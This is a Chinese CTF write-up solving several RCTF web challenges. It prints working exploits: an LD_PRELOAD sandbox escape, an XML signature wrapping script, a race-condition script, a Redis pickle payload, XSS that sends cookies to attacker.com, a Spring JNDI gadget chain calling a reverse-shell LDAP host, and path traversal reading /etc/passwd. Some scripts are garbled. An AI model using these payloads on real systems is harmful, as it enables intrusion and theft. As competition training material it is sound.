RCTF复现

1.Photographer

卡了我一整天的题竟然只是小小签到,崩溃了。。

不过这道题也是给我理清了代码审计的思路。

来看看源码:

根目录里有一个配置文件,有这句:

DocumentRoot /var/www/html/public

所以我们要去/public才能看到网站的一些代码。

看到index,看看:

$routeLoader = require __DIR__ . '/../app/config/router.php';

进到router看看,最关键的应该是文件上传部分的代码:

$router->post('/api/photos/upload', 'PhotoController@upload');
$router->get('/api/photos/{id}/info', 'PhotoController@info');
$router->post('/api/photos/delete', 'PhotoController@delete');

所以我们去看PhotoController这个类。

在这个类里有upload这个函数,观察其逻辑可以发现关键的过滤机制为isValidImage函数(代码太长不想看就丢ai

去看isValidImage函数:


function isValidImage($file) {
    $allowedExtensions = config('upload.allowed_extensions');
    
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowedExtensions)) {
        return false;
    }
    
    if ($file['size'] > config('upload.max_size')) {
        return false;
    }
    
    $imageInfo = @getimagesize($file['tmp_name']);
    if ($imageInfo === false) {
        return false;
    }
    
    return true;
}

这里是用了一个白名单过滤,直接防死:

 'allowed_extensions' => ['jpg', 'jpeg', 'png', 'gif', 'webp']

去找新方法,在public目录下还有一个superadmin.php,其中

if (Auth::check() && Auth::type() < $user_types['admin']) {
    echo getenv('FLAG') ?: 'RCTF{test_flag}';

当我们满足条件后访问这个路由就可以拿到flag。于是我们去看Auth::type是怎么得到的。

public static function type() {
        return self::$user['type'];
    }

全局搜索self::$user

public static function init() {
        if (session_status() === PHP_SESSION_NONE) {
            session_name(config('session.name'));
            session_start();
        }
        
        if (isset($_SESSION['user_id'])) {
            self::$user = User::findById($_SESSION['user_id']);
        }
    }

查看findById

public static function findById($userId) {
        return DB::table('user')
            ->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
            ->where('user.id', '=', $userId)
            ->first();
    }

这里leftjoin查询photo,会使photo.type覆盖原本的user.type,所以此时只需要将图片的Content-type改成-1,然后访问路由即可。

2.rootkb

沙箱逃逸,可惜我当时不会。

题目场景是一个允许用户执行Python代码的工具环境。

发现/opt/maxkb-app/sandbox/sandbox.so这个文件是可写的。

至此,沙箱逃逸的前提条件已经满足。

触发机制:系统在运行用户的Python代码时,为了限制权限(沙箱化),会通过LD_PRELOAD环境变量强制加载sandbox.so这个动态链接库

什么是 LD_PRELOAD? 它是 Linux 的一个环境变量,允许用户指定一个共享库(.so文件),在程序启动前优先加载。系统本意是利用这个 sandbox.so 里的逻辑来限制你的操作,但因为这个文件本身可被覆盖,攻击者就可以把它替换成恶意的 .so 文件,从而反客为主,获得代码执行权限。

首先写出payload:

#include <stdio.h>

// __attribute__((constructor)) 是 GCC 的特有语法
// 它的作用是:让 abc 函数在动态库被加载时(即 main 函数运行前)自动执行
__attribute__((constructor)) void abc(void) {
    const char *src = "/root/flag";
    const char *dst = "/opt/maxkb-app/apps/static/admin/assets/flag";
    // 将 root 目录下的 flag 文件,重命名(移动)到 Web 服务的静态资源目录下
    rename(src, dst);
}

通常 Web 服务的用户权限无法直接读取 /root/flag。但是,如果加载 sandbox.so 的进程(父进程)是 Root 权限或者有足够的文件操作权限,那么注入的代码就能以高权限运行

接下来要在本地将上面的C代码编译成动态链接库(.so文件)

gcc -shared -fPIC exp.c -o exp.so

然后将生成的 exp.so 文件内容转换为 Base64 编码,以便在 Python 脚本中通过字符串形式传输

接下来就要在自定义工具页面上传python工具

import base64
import os

def fileWrite():
    # 1. 打开目标路径(原本的沙箱库文件),准备覆盖写入
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
        # 2. 将我们在本地编译好并 base64 编码的恶意 so 文件内容写入
        f.write(base64.b64decode("实际的Base64字符串"))
    # 3. 触发加载
    # 当这里执行 os.popen 或任何系统调用时,或者当前 Python 进程本身启动时
    # 系统会根据配置尝试加载 LD_PRELOAD 指定的 sandbox.so
    # 此时加载的就是我们刚刚写入的恶意文件了
    os.popen("whoami") 
    
    return "success"

直接在浏览器访问http://目标网站/static/admin/assets/flag即可拿到flag

auth

通过代码审计,可以发现身份验证相关代码:

@app.route('/admin')
def admin():
    if 'email' not in session:
        return redirect(url_for('saml_login'))
    
    if session.get('email') != 'admin@rois.team':
        return render_template('error.html', error='Insufficient permissions, admin access only'), 403
    
    return render_template_string(os.getenv("FLAG","RCTF{test_flag}"))

我们的身份需要是admin@rois.team才能拿到flag。

往上查阅,发现以下数据流:

session['email'] = nameid

nameid = parser.get_nameid()

parser = SAMLResponseParser(
            saml_response, 
            IDP_CERT,
            validate_time=saml_config.validate_time,
            validate_audience=saml_config.validate_audience,
            expected_audience=SP_ENTITY_ID,
            validate_destination=saml_config.validate_destination,
            expected_destination=SP_ACS_URL,
            time_tolerance=saml_config.time_tolerance
        )

saml_response = request.form.get('SAMLResponse')

所以我们就可以理解这条数据流的逻辑:

  1. 输入(Source): 用户通过 POST 请求提交 SAMLResponse 参数 -> 完全由攻击者控制
  2. 处理: 后端接收这个字符串,交给 SAMLResponseParser 进行解析。
  3. 结果(Sink): 解析器提取出 nameid,如果没有问题,就把它放进 session,从而获得管理员权限。

下面有判断逻辑阻碍我们随意篡改数据:

if not parser.is_valid():
            return render_template('error.html', error='SAML response validation failed'), 401

这一行代码通常会对 SAMLResponse 进行数字签名验证,确保数据确实来自可信的 IDP(身份提供商),而且没有被篡改。

看看 is_valid() 内部到底在检查什么:

def is_valid(self):
        if not self.parse():
            return False
        
        if not self.validate_signature():
            return False
        
        if not self._check_assertion_uniqueness():
            return False
        
        return True

这个 is_valid 函数逻辑看起来非常简洁,它依次执行了三个检查:

  1. parse(): 解析 XML 结构。
  2. validate_signature(): 验证签名。
  3. _check_assertion_uniqueness(): 检查是否重放攻击。

只要其中任何一个返回 False,整个验证就失败了。

在 CTF 题目中,validate_signature() 通常是最容易藏猫腻的地方。如果这里的逻辑写得不够严死,比如“如果没有签名就算验证通过”,或者“只验证了外层签名但用了内层数据”,我们就有机会了。

所以继续看:

def validate_signature(self):
        if self.document is None:
            return False
            
        validator = SignatureValidator(
            self.document, 
            self.cert_text,
            validate_time=self.validate_time,
            validate_audience=self.validate_audience,
            expected_audience=self.expected_audience,
            validate_destination=self.validate_destination,
            expected_destination=self.expected_destination,
            time_tolerance=self.time_tolerance
        )
        return validator.validate()

它并没有亲自做校验,而是把任务外包给了 SignatureValidator 这个类。

看这个类(太长就不放出来了),其中validate 方法是关键:

def validate(self):
        # ... 省略部分 ...
        
        response_signature = self._find_response_signature()
        if response_signature is not None:
             # 分支 A: 验证 Response 签名
            if not self._verify_signature(response_signature):
                return False
        else:
            # 分支 B: 验证 Assertion 签名
            assertion_signatures = self._find_assertion_signatures()
            if not assertion_signatures:
                return False
            
            for sig_node in assertion_signatures:
                if not self._verify_signature(sig_node):
                    return False
        
        # ... 省略后续检查 ...
        return True

这里有一个非常有意思的 if/else 逻辑。假设我们攻击时,直接把外层的 <ds:Signature>(Response 的签名)删掉,代码就会进入 分支 Belse 部分)。

现在,请设想这样一个场景:我们在 XML 里放了 两个 <saml:Assertion> 结构。

  1. 第一个 Assertion:是我们伪造的 admin@rois.team,但是没有签名(没有 <ds:Signature> 节点)。
  2. 第二个 Assertion:是我们正常登录抓包拿到的、带有合法签名的普通用户 Assertion。

validate 函数里的 for 循环不会去检查那个没有签名的第一个 Assertion,只检查了第二个 Assertion(合法的),那么 validate 函数最终会返回 True

这就是这个漏洞的核心所在:Validator(校验器)和 Parser(解析器)之间的“信息不对称”。

所以这是一个XML 签名包装攻击 (XML Signature Wrapping / XSW) 的变种。

攻击的方式很简单,但是这道题对于我们要注册一个合法账户设置了一个邀请码,我们需要绕过这个邀请码。

看看注册逻辑:

if (parseInt(type) === 0) {
                if (!invitationCode || invitationCode !== config.getInviteCode()) {
                    return res.render('register', {
                        title: 'User Registration',
                        errors: [{ msg: 'Invalid invitation code' }],
                        formData: req.body
                    });
                }

            }

            req.session.userId = await User.create({
                username,
                email,
                password,
                type,
                displayName: displayName || username,
                department,
                role: 'user'
            });

这里用(parseInt(type) === 0)来判断是否为管理员注册,所以可以发送{"type": false}来绕过邀请码验证。

不过注册成功后 IdP 会直接设置 Sessionreq.session.userType = type 但是middleware/auth.js检查的是req.session.userType不等于type (false)。所以需要重新登录⼀次。

然后发起 SSO,得到合法的 SAMLResponse。

脚本如下:

import requests
import base64
import urllib.parse
from lxml import etree
import copy
import re
import random
import string
IDP_HOST = "<http: auth.rctf.rois.team>"
SP_HOST = "<http: auth-flag.rctf.rois.team:26000>"
def solve():
    s = requests.Session()
    # 注册登录
    rand_suffix = ''.join(random.choices(string.ascii_lowercase + 
                                         string.digits, k=6))
    username = f"hacker_{rand_suffix}"
    password = "password123"
    email = f"hacker_{rand_suffix}@example.com"
    print(username, password, email)
    register_url = f"{IDP_HOST}/register"
    reg_data = {
        "username": username,
        "email": email,
        "password": password,
        "confirmPassword": password,
        "type": False, #
        "displayName": "Hacker"
    }
    s.post(register_url, json=reg_data)
    s.cookies.clear()
    login_url = f"{IDP_HOST}/login"
    s.post(login_url, data={"username": username, "password": password})
    # 获取合法的 SAML Response
    sso_init_url = f"{IDP_HOST}/saml/idp/Flag"
    res = s.get(sso_init_url)
    saml_response_b64 = re.search(r'name="SAMLResponse" value="([^"]+)"', 
                                  res.text).group(1)
    # XML Signature Wrapping
    xml_content = base64.b64decode(saml_response_b64).decode('utf-8')
    root = etree.fromstring(xml_content.encode('utf-8'))
    ns = {'saml': 'urn:oasis:names:tc:SAML2.0:assertion', 'ds': 
          '<http: www.w3.org/2000/09/xmldsig#>'}
    original_assertion = root.find('. saml:Assertion', ns)
    fake_assertion = copy.deepcopy(original_assertion)
    fake_assertion.set('ID', f'_{urllib.parse.quote(username)}_fake')
    nameid_node = fake_assertion.find('. saml:NameID', ns)
    nameid_node.text = 'admin@rois.team'
    signature_node = fake_assertion.find('. ds:Signature', ns)
    if signature_node is not None:
        signature_node.getparent().remove(signature_node)
        root.insert(1, fake_assertion)

        evil_xml = etree.tostring(root, encoding='utf-8').decode('utf-8')
        evil_saml_response = base64.b64encode(evil_xml.encode('utf8')).decode('utf-8')
        # 认证
        sp_acs_url = f"{SP_HOST}/saml/acs"
        sp_session = requests.Session()
        res = sp_session.post(sp_acs_url, data={
            "SAMLResponse": evil_saml_response,
            "RelayState": "/admin"
        }, allow_redirects=False)

        redirect_url = res.headers.get('Location')
        target_url = f"{SP_HOST}{redirect_url}" if redirect_url.startswith("/") 
        else redirect_url
        final_res = sp_session.get(target_url)
        print(final_res.text) 

        if name  " main ":
            solve()

4.UltimateFreeloader

观察Redis锁,发现买和退款的锁的key值不⼀样,可以打条件竞争

public Map<String, Object> createOrder(String userId, OrderRequestDTO 
                                       orderRequest) {
    Map<String, Object> result = new HashMap();
    String lockKey = "order:user:" + userId;
    String lockValue = this.redisLockUtil.generateLockValue();
}
public Map<String, Object> refundOrder(String orderId, String userId) {
    Map<String, Object> result = new HashMap();
    String lockKey = "refund:order:" + orderId
}

exp:

import requests
import threading
import time
import uuid
TARGET_URL = "<http: 61.147.171.10549947>"
PROD_LITTLE = "550e8400-e29b-41d4-a716-446655440001" # 5.50
PROD_SWEET  = "550e8400-e29b-41d4-a716-446655440002" # 8.80
PROD_FISH   = "550e8400-e29b-41d4-a716-446655440003" # 4.20
PROD_LARGE  = "550e8400-e29b-41d4-a716-446655440004" # 10.00
s = requests.Session()
CURRENT_USER = {"username": "", "password": ""}
def register_and_login():
username = f"hacker_{uuid.uuid4().hex[:8]}"
password = "password123"
email = f"{username}@hack.com"
CURRENT_USER["username"] = username
CURRENT_USER["password"] = password
print(f"[*] 注册用户: {username}")
try:
        res = s.post(f"{TARGET_URL}/api/user/register", json={
            "username": username, "password": password, "email": email
        })
        
        if res.json().get("code") != 200:
            print(f"[-] 注册失败: {res.text}")
            exit()
        res = s.post(f"{TARGET_URL}/api/user/login", json={
            "username": username, "password": password
        })
        
        token = res.json()['data']['token']
        s.headers.update({"Authorization": f"Bearer {token}"})
        print("[+] token:", token)
        user_id = res.json()['data']['user']['id']
        return user_id
    except Exception as e:
        print(f"[-] 连接错误: {e}")
        exit()
 
def get_coupon_id():
    try:
        res = s.get(f"{TARGET_URL}/api/coupon/available")
        data = res.json().get('data')
        if data:
            return data[0]['id']
    except:
        pass
    return None
 
def get_balance():
    try:
        res = s.get(f"{TARGET_URL}/api/user/info")
        return float(res.json()['data']['balance'])
    except:
        return 0.0
 
def buy(product_id, coupon_id=None):
    data = {
        "productId": product_id,
        "quantity": "1"
    }
    if coupon_id:
        data["couponId"] = coupon_id
    
    try:
        res = s.post(f"{TARGET_URL}/api/order/create", json=data)
        return res.json()
    except:
        return None
 
def refund(order_id):
    try:
        res = s.post(f"{TARGET_URL}/api/order/refund/{order_id}")
        return res.json()
    except:
        return None
 
def get_my_orders():
    try:
        res = s.get(f"{TARGET_URL}/api/order/my")
        return res.json().get('data', [])
    except:
        return []
 
def clean_up_pivot():
    orders = get_my_orders()
    if not orders: return
    for order in orders:
        if order['productId']  PROD_LARGE and order['status']  'COMPLETED' 
and order.get('couponId'):
            refund(order['id'])
 
def glitch_item(target_prod_id, target_name):
    print(f"\\n 尝试: {target_name}")
    
    attempt_count = 0
    while True:
        attempt_count += 1
        orders = get_my_orders()
        has_target = False
        target_order_id = None
        for order in orders:
            if order['productId']  target_prod_id and order['status']  
'COMPLETED':
                has_target = True
                target_order_id = order['id']
                break
        
        current_bal = get_balance()
        
        if has_target and current_bal  10.0:
            print(f"[+] 成功!已拥有 {target_name} 且余额为 10.00")
            if target_prod_id  PROD_LARGE:
                if get_coupon_id():
                    print("[+] 优惠券未使用")
                    break
                else:
                    refund(target_order_id)
                    clean_up_pivot()
                    continue
            else:
                break
        if has_target and current_bal < 10.0:
            refund(target_order_id)
            clean_up_pivot()
            continue
        coupon_id = get_coupon_id()
        if not coupon_id:
            clean_up_pivot()
            continue
        res_buy = buy(PROD_LARGE, coupon_id)
        
        if not res_buy or res_buy.get('code') != 200:
            clean_up_pivot()
            continue
        
        pivot_order_id = res_buy['data']['order']['id']
        def thread_refund():
            refund(pivot_order_id)
            
        def thread_buy_target():
            buy(target_prod_id)
 
        t1 = threading.Thread(target=thread_refund)
        t2 = threading.Thread(target=thread_buy_target)
        
        t1.start()
        t2.start()
        
        t1.join()
        t2.join()
 
def main():
    user_id = register_and_login()
    target_list = [
        (PROD_SWEET, "Sweet Potato (8.80)"),
        (PROD_LITTLE, "Little Potato (5.50)"),
        (PROD_FISH, "Fish Fish (4.20)"),
        (PROD_LARGE, "Large Potato (10.00)")
    ]
for prod_id, name in target_list:
glitch_item(prod_id, name)
time.sleep(0.2)
bal = get_balance()
coupon = get_coupon_id()
orders = get_my_orders()
completed_count = sum(1 for o in orders if o['status']  
'COMPLETED')
print(f"余额: {bal}")
print(f"优惠券: {'存在(未使用)' if coupon else '不存在(已使用)'}")
print(f"已购商品数: {completed_count}")
if bal  
10.0 and coupon:
res = s.get(f"{TARGET_URL}/api/flag/get")
print(res.text)
else:
print("[-] 失败")
print(f"Username: {CURRENT_USER['username']}")
print(f"Password: {CURRENT_USER['password']}")
if name  
" main ":
main()
RCTF{G1ft_F0r_U_My_Br0~}

5.RootKB―

创建⼯具处有⼀个沙箱能执⾏ python 代码。 沙箱连接 redis ,密码是默认的,Password123@redis

celery 和 redis通信使⽤了 pickle,这⾥没有 find_class 限制。 读取token 的 key:

import socket
class RedisClient:
    def init (self, host='localhost', port=6379):
        self.host = host
        self.port = port
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         pickle payload

    def connect(self):
        """建立 TCP 连接"""
        self.socket.connect((self.host, self.port))

    def send_command(self, command):
        self.socket.sendall((command + '\\r\\n').encode('utf-8'))
        return self.parse_response()

    def parse_response(self):
        """解析 Redis 服务器的响应(基础实现)"""
        response = self.socket.recv(4096).decode('utf-8')
        return response

    def close(self):
        """关闭连接"""
        self.socket.close()
        
def exp():
    client = RedisClient()
    client.connect()

    client.send_command("auth Password123@redis")

    # 设置键值对
    res = client.send_command("keys *")
    # res = open('/etc/passwd', 'r').read()

    return res
result = exp

写 pickle payload:

import redis
import base64
 
def main():
    # 1. 连接Redis并进行认证
    try:
        r = redis.Redis(
            host='localhost', 
            port=6379, 
            password='Password123@redis', # 如果有ACL用户名,加上 
username='your_username'
            decode_responses=False  # 确保获取的是bytes,便于处理二进制数据
        )
        # 测试连接
        r.ping()
        print("✅ Redis连接成功!")
    except Exception as e:
        print(f"❌ 连接Redis时出现错误: {e}")
        return
 
    # 2. 准备并存储字节数据
    try:
        # 示例1: 直接存储字节数据
        binary_data = 
base64.b64decode('gASVbgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxSX19pbXBvcnRfXygn
b3MnKS5wb3BlbignY2F0IC9yb290L2ZsYWcgPiAvdG1wL2ZsYWcgJiYgY2htb2QgNzc3IC90bXAvZm
xhZycpLnJlYWQoKZSFlFKULg ')
       
 r.set(':TOKEN:eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOiJmMGRkOGY3MS1lNGVlLTExZWUtOGM
4NC1hOGExNTk1ODAxYWIiLCJlbWFpbCI6IiIsInR5cGUiOiJTWVNURU1fVVNFUiJ91vKY0u:xS22i
8t2qsCFdGvIYZ5T565rDDS6rJXd-ppgf7nnsUA', binary_data)
        print("✅ 字节数据已存储。")
 
    except Exception as e:
        print(f"❌ 存储数据时出现错误: {e}")
 
    # 4. 关闭连接 (可选,但推荐)
    r.close()
    print("连接已关闭。")
 
result = main

写⼊后带着 admin 的 cookie 刷新⼀下触发反序列化。

读 flag:

def exp():
    res = open('/tmp/flag', 'r').read()
    return res
 
result = exp
RCTF{old_vuln_deleted___new_vuln_says_hi!}

6.author_plus

bot点了两个按钮

await page.goto(article_url, { timeout: 3000, waitUntil: 'domcontentloaded' })

	const auditBtn = await page.$('#audit');
	if (auditBtn) {
    	await Promise.all([
        	auditBtn.click(),
        	page.waitForNavigation({ waitUntil: 'domcontentloaded' }),
    	]);
	}
	let rejectBtn = null;
	try {
    	rejectBtn = await page.waitForSelector('.btn-reject', { visible: 
                                                           true, timeout: 5000 });
	} catch (err) {}
	if (rejectBtn) {
    	await rejectBtn.click();
	}

https://x.com/avlidienbrunn/status/1676549516785221635

其实meta也可以用来放unsafe-inline类型的js

<head>
<meta name="author" content="a" popover id=x onbeforetoggle=alert(1)/>
</head>
<body>
<button id=audit popovertarget=x>Click me </button>
<div popover id=x>actual popover </div>
</body>

a popover id=x onbeforetoggle=alert(1)

当然我们依旧需要csp来限制xss-shield的破坏

preg_match('/ >\\'"\\x20\\t\\r\\n]/', $username)

实际上这个过滤并不安全,我测试后使⽤了两种不同解析结果的空白符 %0b 垂直⽅向制表符 %0c 换⻚符 来完成规则的编写和脚本的插⼊

username=script-src-elem%0bhttp: blog-app/assets/js/article.js%0chttp
equiv=Content-Security
Policy%0cpopover%0cid=x%0conbeforetoggle=location.href=`http: attacker.com:12
34/?
c=${encodeURI(document.cookie)}`&email=9@le0n.com&password=111111&confirm_pass
word=111111&csrf_token=c4bb4bfbfbc051eb3ca51912cac3e6ea70b37cc092688fc5f8c313e
611543d5f

7.author

主要就是绕过xss-shield.js,没有csp

<meta name=”author” content=<?php echo $pageAuthor; ?»

eader.php 中 author name 可以注入向 meta 标签中注入空格,可以添加任意属性。

尝试构造成 CSP 拦截 xss.shiled.js 。

注册用戶时在 username 中写入 csp 内容拦截 xss:

username='script-src-elem <http: blog-app/assets/js/article.js>' http-equiv=Content-Security-Policy

单引号不会被 html 实体化 正好用来包裹 csp 内容。script-src-elem 属性不会影响 unsafe-inline,只需要设置 article.js 的 URL 即可。

随后用该账号登录发布的 article 不会有任何限制。使用 img onerror 外带:

RCTF{h0w_d1d_u_byp455_th3_w4f_4nd_x55}

8.maybe_easy

题目给了一个 Maybe 类,其 compareTo 方法会调用 InvocationHandler

package com.rctf.server.tool;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Maybe extends Proxy implements Comparable<Object>, Serializable {
    public Maybe(InvocationHandler h) {
        super(h);
    }

    public int compareTo(Object o) {
        try {
            Method method = Comparable.class.getMethod("compareTo", Object.class);
            Object result = this.h.invoke(this, method, new Object[]{o});
            return (Integer)result;
        } catch (Throwable e) {
            throw new RuntimeException(e);
        }
    }
}

结合 HessianFactory 限制加载的 class 包名

static {
    WHITE_PACKAGES.add("com.rctf.server.tool.");
    WHITE_PACKAGES.add("java.util.");
    WHITE_PACKAGES.add("org.apache.commons.logging.");
    WHITE_PACKAGES.add("org.springframework.beans.");
    WHITE_PACKAGES.add("org.springframework.jndi.");
}

不难得出如下⼏个符合条件的 InvocationHandler:

经过简单的分析,发现 org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler 可以调用objectFactory.getObject方法

再继续寻找符合条件的 ObjectFactory 类,容易得到 org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory ,里面的getObject 方法会调用beanFactory.getBean 方法

众所周知 Spring 存在 org.springframework.jndi.support.SimpleJndiBeanFactory 这个 BeanFactory,其 getBean 方法可以触发 JNDI 注入

因为题目环境是 JDK 8 + Spring,JNDI 注入后续可以打 Jackson 反序列化一条龙

最后回到最开头的 Maybe 类 ,借鉴CB链中的PriorityQueue,其在反序列化时可以触发compareTo调用

最终 payload 如下:

import com.rctf.server.tool.HessianFactory;
import com.rctf.server.tool.Maybe;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception {
SimpleJndiBeanFactory simpleJndiBeanFactory = new
SimpleJndiBeanFactory();

simpleJndiBeanFactory.setShareableResources("ldap: 120.55.184.2091389/Deserialize/Jackson/ReverseShell/120.55.184.209/65444");

Class clazz;
Constructor ctor;

clazz =
Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingF
actoryBean$TargetBeanObjectFactory");
ctor = clazz.getDeclaredConstructor(BeanFactory.class, String.class);
ctor.setAccessible(true);
ObjectFactory objectFactory = (ObjectFactory)
ctor.newInstance(simpleJndiBeanFactory,
"ldap:  120.55.184.209 1389/Deserialize/Jackson/ReverseShell/120.55.184.209/65444");
clazz =
                                                                                   Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectF
actoryDelegatingInvocationHandler");
ctor = clazz.getDeclaredConstructor(ObjectFactory.class);
ctor.setAccessible(true);

InvocationHandler handler = (InvocationHandler)
ctor.newInstance(objectFactory);
Maybe maybe = new Maybe(handler);

PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);

setFieldValue(priorityQueue, "queue", new Object[]{maybe, maybe});
String data = HessianFactory.serialize(priorityQueue);
System.out.println(data);
HessianFactory.deserialize(data);

}

public static void setFieldValue(Object obj, String name, Object val)
throws Exception {
setFieldValue(obj.getClass(), obj, name, val);
}
                                                                                                 
public static void setFieldValue(Class<?> clazz, Object obj, String name,
Object val) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
}

JNDIMap

反弹 shell 查看 flag

9.514s_Heart

https://github.com/koishijs/webui/blob/main/plugins/console/src/node/index.ts

能任意文件读了

GET /@plugin-77dvs1bw9wb/  /  /  /  /  /  /  /etc/passwd HTTP/1.1
Host: 127.0.0.1:5140
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im
age/apng,*  ;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

这个是低权限用戶,读不了flag

读配置文件,拿到密码,要后台找个接口rce了

plugins:
group:server:
server:yrt4za:
port: 5140
maxPort: 5149
host: 0.0.0.0
~server-satori:4a5c8c: {}
~server-temp:in16cp: {}
group:basic:
~admin:tnisa7: {}
~bind:07uqcj: {}
commands:fcfz9r: {}
help:tj2694: {}
http:c3980a: {}
~inspect:bep4w8: {}
locales:10cpca: {}
proxy-agent:9hjj24: {}
rate-limit:9enlml: {}
telemetry:c46z2c: {}
group:console:
actions:12nvqa: {}
analytics:j8afpj: {}
android:bo77l9:
$if: env.KOISHI_AGENT  includes('Android')
auth:hfi7d9:
admin:
hint:   
as you can see, you now get the password of admin, try to rce
without
adding any plugins! gogogo! (The container network has been
restricted. Please do not attempt any supply chain attacks. Let’s
work
together to maintain the security of the Koishi community.)
password: rctf2025gogogotorce
config:ab6k8s: {}
console:n2unsp:
open: false
dataview:b4re4p: {}
desktop:zvr0sy:
$if: env.KOISHI_AGENT  includes('Desktop')
explorer:e6ctyv: {}
logger:6t5evk: {}
insight:blbpmd: {}
market:734ssq:
search:
endpoint: <https:  registry.koishi.chat/index.json>
notifier:fjhc7z: {}
oobe:pblvay: {}
sandbox:a8395u: {}
status:mgd9ai: {}
theme-vanilla:zw7dvu: {}
group:storage:
~database-mongo:e4iopx:
database: koishi
~database-mysql:sqfsc4:
database: koishi
~database-postgres:yixoph:
database: koishi
database-sqlite:l9px0e:
path: data/koishi.db
assets-local:9psdxd: {}
group:adapter:
~adapter-dingtalk:nt9ml6: {}
~adapter-discord:cm64td:
token: null
~adapter-kook:x2laqr: {}
~adapter-lark:93xiqh: {}
~adapter-line:zwdbcy: {}
~adapter-mail:1yn601: {}
~adapter-matrix:ptr0p2: {}
~adapter-qq:zte6li: {}
~adapter-satori:wqcyyw: {}
~adapter-slack:sfujrd: {}
~adapter-telegram:lffgys: {}
~adapter-wechat-official:k7ypgi: {}
~adapter-wecom:2lxd3k: {}
~adapter-whatsapp:k4wpu1: {}
~adapter-zulip:gdig38: {}
group:develop:
$if: env.NODE_ENV     'development'
hmr:s1k6y8:
root: .

https://koishi.chat/zh-CN/guide/develop/config.html#使用环境变量

https://github.com/koishijs/koishi/blob/cbc18a1d1a240ab96704dc04bcb30ad080e25a96/packages/loader/src/shared.ts#L325

过滤器模版注入,然后外带信息就好了

$

RCTF{You_now_g0t_the_heart_0f_koishi!}